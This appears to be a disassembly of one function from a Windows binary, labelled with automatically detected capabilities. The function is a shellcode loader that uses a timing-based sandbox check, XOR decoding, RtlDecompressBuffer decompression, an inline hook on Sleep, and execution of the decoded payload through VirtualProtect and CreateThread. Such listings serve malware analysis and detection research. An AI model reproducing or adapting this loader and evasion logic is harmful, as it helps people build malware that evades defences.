Function at 0x1800011d0
Capabilities:
Compress data via winapi
Create thread
Encode data using xor
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, 0xfffffed4
sub edx, ebx
add edx, eax
movsxd rax, edx
shr rax, 0x20
xor edx, eax
sub edx, eax
cmp edx, 0x64
jg 0x1800014ba
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov r15d, esi
mov r14d, esi
mov edx, 0xa0a
xor ecx, ecx
lea r9d, [rsi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180001351
xor edx, edx
mov r8d, 0xa0a
mov rcx, rax
call fcn.180004040
mov rcx, rbx
lea rdx, [0x18001db00]
mov r8d, 0xa0a
call fcn.180003990
mov eax, 0x8742
mov word [rbp - 0x40], ax
movzx ecx, si
mov rdx, rbx
mov r8d, 0x358
nop dword [rax]
nop dword [rax + rax]
mov eax, esi
cmp cx, 1
cmovne ax, cx
movzx ecx, ax
movzx eax, byte [rbp + rcx*2 - 0x40]
xor byte [rdx], al
inc cx
lea rdx, [rdx + 1]
sub r8, 1
jne 0x1800012b0
mov dword [rbp - 0x3c], esi
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x180001351
lea rdx, str.RtlDecompressBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x180001351
mov edx, 0x2828
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov ecx, 2
lea rax, [rbp - 0x3c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa0a
mov r9, rbx
mov r8d, 0x2828
mov rdx, r15
call rdi
mov r14d, dword [rbp - 0x3c]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov rdi, rsi
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x40], 0
test r14, r14
je 0x18000137d
lea r8, [rbp - 0x40]
mov rdx, r14
lea rcx, [rbp - 0x28]
call fcn.1800016c0
mov rdi, qword [rbp - 0x18]
mov r8, r14
mov rdx, r15
mov rbx, qword [rbp - 0x28]
mov rcx, rbx
call fcn.180003990
mov r8d, 0x8000
mov rdx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [0x18001f890], rax
mov word [rbp - 0x38], 0xba49
mov word [rbp - 0x2e], 0xff41
lea rax, [0x180001830]
mov qword [rbp - 0x36], rax
mov dword [rbp - 0x40], esi
xor r14b, r14b
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [rax]
movups xmmword [0x18001f898], xmm0
lea r9, [rbp - 0x40]
mov edx, 0xd
lea r8d, [rdx + 0x33]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180001414
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
movsd xmm0, qword [rbp - 0x38]
movsd qword [rcx], xmm0
mov eax, dword [rbp - 0x30]
mov dword [rcx + 8], eax
mov byte [rcx + 0xc], 0xe2
mov r14b, 1
cmp qword [0x18001f8a8], 0
jne 0x180001447
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18001f8a8], rax
test rax, rax
je 0x180001463
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r8d, 0xd
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
call qword [0x18001f8a8]
lea r9, [rbp - 0x40]
mov r8d, dword [rbp - 0x40]
mov edx, 0xd
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test r14b, r14b
jne 0x1800014e4
test rbx, rbx
je 0x1800014ba
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x1800014af
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800015f1
mov rdx, rdi
mov rcx, rbx
call fcn.180001f34
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180001a60
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rbp - 0x30], rsi
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x38], rax
mov r14, qword [rbp - 0x20]
mov r15, r14
sub r15, rbx
mov r9d, 4
mov r8d, 0x1000
lea rdx, [r15 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
jne 0x180001522
mov rcx, rsi
jmp 0x18000158c
mov r8, r15
mov rdx, rbx
mov rcx, r12
call fcn.180003990
lea r9, [rbp - 0x3c]
mov r8d, 0x20
lea rdx, [r15 + 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180001550
mov rcx, rsi
jmp 0x18000158c
cmp rbx, r14
cmovne r14, rbx
mov qword [rbp - 0x20], r14
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, r12
lea r8, [0x180001860]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
mov qword [rbp - 0x30], rax
test rax, rax
setne al
mov rcx, rsi
test al, al
jne 0x1800015d1
test rcx, rcx
je 0x18000159b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rbx, rbx
je 0x1800014ba
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x1800014af
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800015f1
jmp 0x1800014af
lea rcx, [rbp - 0x38]
call fcn.180001650
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1800081dc
int3